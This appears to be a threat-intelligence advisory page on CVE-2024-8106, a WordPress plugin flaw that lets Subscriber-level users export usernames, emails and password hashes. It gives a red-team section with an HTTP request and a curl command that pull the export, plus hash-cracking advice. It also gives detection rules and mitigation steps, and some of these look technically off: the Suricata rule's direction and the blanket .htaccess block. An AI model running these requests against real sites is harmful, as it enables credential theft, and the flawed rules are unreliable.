CVE-2024-8106
Executive Summary
CVE-2024-8106 is a Sensitive Information Exposure vulnerability in the The Ultimate WordPress Toolkit – WP Extended plugin for WordPress, affecting all versions up to and including 3.0.8. The flaw resides in the download_user_ajax function, which allows authenticated attackers with Subscriber-level access or higher to extract sensitive user data, including usernames, hashed passwords, and email addresses. This vulnerability is particularly dangerous because it exposes credential hashes that can be cracked offline, leading to account takeover. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the impact is high due to the nature of the exposed data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (Wp extended) and apply patches immediately when available. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised updates or malicious forks.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Subscriber-level)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
Threat Level: Medium. While the CVSS score is 6.5, the exposure of hashed passwords significantly increases the risk of credential compromise and lateral movement.
Deep Dive & Mechanics
The vulnerability exists in the download_user_ajax function, which is intended to export user data for administrative purposes. However, the function lacks proper authorization checks, allowing any authenticated user (including Subscribers) to trigger the export. The function retrieves user data from the WordPress database, including user_login, user_pass (hashed), and user_email, and outputs it in a downloadable format (e.g., CSV or JSON). The lack of capability checks (e.g., current_user_can('manage_options')) enables privilege escalation.
Root Cause: The function uses wp_ajax_nopriv_* or wp_ajax_* hooks without verifying the user's role or capability. The data is fetched using get_users() or similar, which returns all users regardless of the requester's permissions.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.0.8):
add_action('wp_ajax_download_user_ajax', 'download_user_ajax');
function download_user_ajax() {
$users = get_users();
$csv_data = "Username,Email,Password\n";
foreach ($users as $user) {
$csv_data .= $user->user_login . "," . $user->user_email . "," . $user->user_pass . "\n";
}
header('Content-Type: text/csv');
header('Content-Disposition: attachment; filename="users.csv"');
echo $csv_data;
wp_die();
}
Patched Code (Hypothetical):
add_action('wp_ajax_download_user_ajax', 'download_user_ajax');
function download_user_ajax() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$users = get_users();
$csv_data = "Username,Email\n";
foreach ($users as $user) {
$csv_data .= $user->user_login . "," . $user->user_email . "\n";
}
header('Content-Type: text/csv');
header('Content-Disposition: attachment; filename="users.csv"');
echo $csv_data;
wp_die();
}
Key Differences:
- Added capability check:
current_user_can('manage_options')ensures only administrators can export. - Removed
user_passfrom the export to avoid exposing password hashes.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WP Extended plugin <= 3.0.8.
- Valid user credentials with Subscriber role or higher.
Exploitation Steps:
- Log in as a Subscriber.
- Craft an AJAX request to the vulnerable endpoint:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: [valid session cookie] action=download_user_ajax - The server responds with a CSV file containing usernames, emails, and password hashes.
- Crack the hashes offline using tools like Hashcat or John the Ripper.
Example cURL Command:
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=download_user_ajax" \
-b "wordpress_logged_in_xxx=..."
Blue Team (Detection & Response)
Detection Steps:
- Monitor for AJAX requests to
admin-ajax.phpwithaction=download_user_ajaxfrom non-admin users. - Alert on any CSV download containing
user_passfield. - Review server logs for unusual access patterns to the export endpoint.
Mitigation:
- Immediately update the plugin if a patch is available.
- If no patch, disable the plugin or restrict access to the vulnerable function via a custom plugin or .htaccess rule.
- Implement Web Application Firewall (WAF) rules to block requests to
admin-ajax.phpwithaction=download_user_ajaxfrom low-privilege users.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwith bodyaction=download_user_ajax. - Responses containing CSV data with fields:
Username,Email,Password.
- HTTP POST requests to
- File IOCs:
- Unexpected CSV files named
users.csvor similar in download directories.
- Unexpected CSV files named
- Log IOCs:
- Repeated AJAX calls from the same IP to the vulnerable endpoint.
- User agents associated with automated tools (e.g., curl, Python requests).
Detection Engineering
YARA Rule
rule CVE_2024_8106_WP_Extended_Export {
meta:
description = "Detects exploitation of CVE-2024-8106 in WP Extended plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8106"
strings:
$ajax_action = "action=download_user_ajax"
$csv_header = "Username,Email,Password"
$user_pass_field = "user_pass"
condition:
$ajax_action and ($csv_header or $user_pass_field)
}
Sigma Rule
title: CVE-2024-8106 WP Extended Sensitive Data Export
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-8106 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=download_user_ajax'
condition: selection
falsepositives:
- Legitimate admin exports (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8106 WP Extended Sensitive Data Export"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=download_user_ajax"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to the latest version if a patch is released.
- Disable the plugin if no patch is available and the functionality is not critical.
- Restrict access to the vulnerable endpoint using a WAF or server-level rules (e.g., .htaccess):
<Files "admin-ajax.php"> Require all denied </Files> - Force password reset for all users if hashes were exposed.
Long-term Measures:
- Implement role-based access controls for all AJAX actions.
- Conduct regular security audits of WordPress plugins.
- Use a security plugin (e.g., Wordfence) to monitor for suspicious activity.
Valters IT – Securing digital ecosystems through proactive threat intelligence.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.